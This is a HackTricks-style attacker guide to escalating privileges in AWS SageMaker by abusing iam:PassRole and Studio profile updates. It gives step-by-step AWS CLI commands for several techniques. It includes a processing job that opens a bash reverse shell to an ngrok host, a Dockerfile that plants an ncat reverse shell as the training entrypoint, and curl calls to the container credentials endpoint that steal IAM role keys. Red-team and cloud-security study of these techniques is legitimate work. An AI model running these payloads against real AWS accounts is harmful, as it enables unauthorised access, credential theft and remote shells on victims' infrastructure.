AWS - Sagemaker Privesc

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Start creating a noteboook with the IAM Role to access attached to it:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
    --instance-type ml.t2.medium \
    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

The response should contain a NotebookInstanceArn field, which will contain the ARN of the newly created notebook instance. We can then use the create-presigned-notebook-instance-url API to generate a URL that we can use to access the notebook instance once it's ready:

bash
aws sagemaker create-presigned-notebook-instance-url \
    --notebook-instance-name <name>

Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.

Now It's possible to access the metadata credentials of the IAM Role.

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreatePresignedNotebookInstanceUrl

If there are Jupyter notebooks are already running on it and you can list them with sagemaker:ListNotebookInstances (or discover them in any other way). You can generate a URL for them, access them, and steal the credentials as indicated in the previous technique.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potential Impact: Privesc to the sagemaker service role attached.

sagemaker:CreateProcessingJob,iam:PassRole

An attacker with those permissions can make sagemaker execute a processingjob with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an AWS managed ECS account instance, and steal the credentials of the IAM role attached.

bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
    --processing-job-name privescjob \
    --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
    --app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
    --role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreateTrainingJob, iam:PassRole

An attacker with those permissions will be able to create a training job, running an arbitrary container on it with a role attached to it. Therefore, the attcke will be able to steal the credentials of the role.

warning

This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
    --training-job-name privescjob \
    --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
    --algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
    --role-arn <role-arn> \
    --output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
    --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

An attacker with those permissions will (potentially) be able to create an hyperparameter training job, running an arbitrary container on it with a role attached to it.
I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details.

sagemaker:UpdateUserProfile/UpdateSpace/UpdateDomain Studio role swap (no iam:PassRole)

With permissions to update a SageMaker Studio User Profile (or Space/Domain), an attacker can set the ExecutionRole to any IAM role that the SageMaker service principal can assume. Unlike job-creation APIs, the Studio profile update APIs do not require iam:PassRole. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.

Steps:

bash
# 1) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 2) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --user-settings ExecutionRole=$ROLE_ARN

# 3) Verify the role change took effect
aws sagemaker describe-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query 'UserSettings.ExecutionRole' --output text

# 4) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name js-atk

# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
#    aws sts get-caller-identity  # should reflect the new ExecutionRole
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

Potential Impact: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks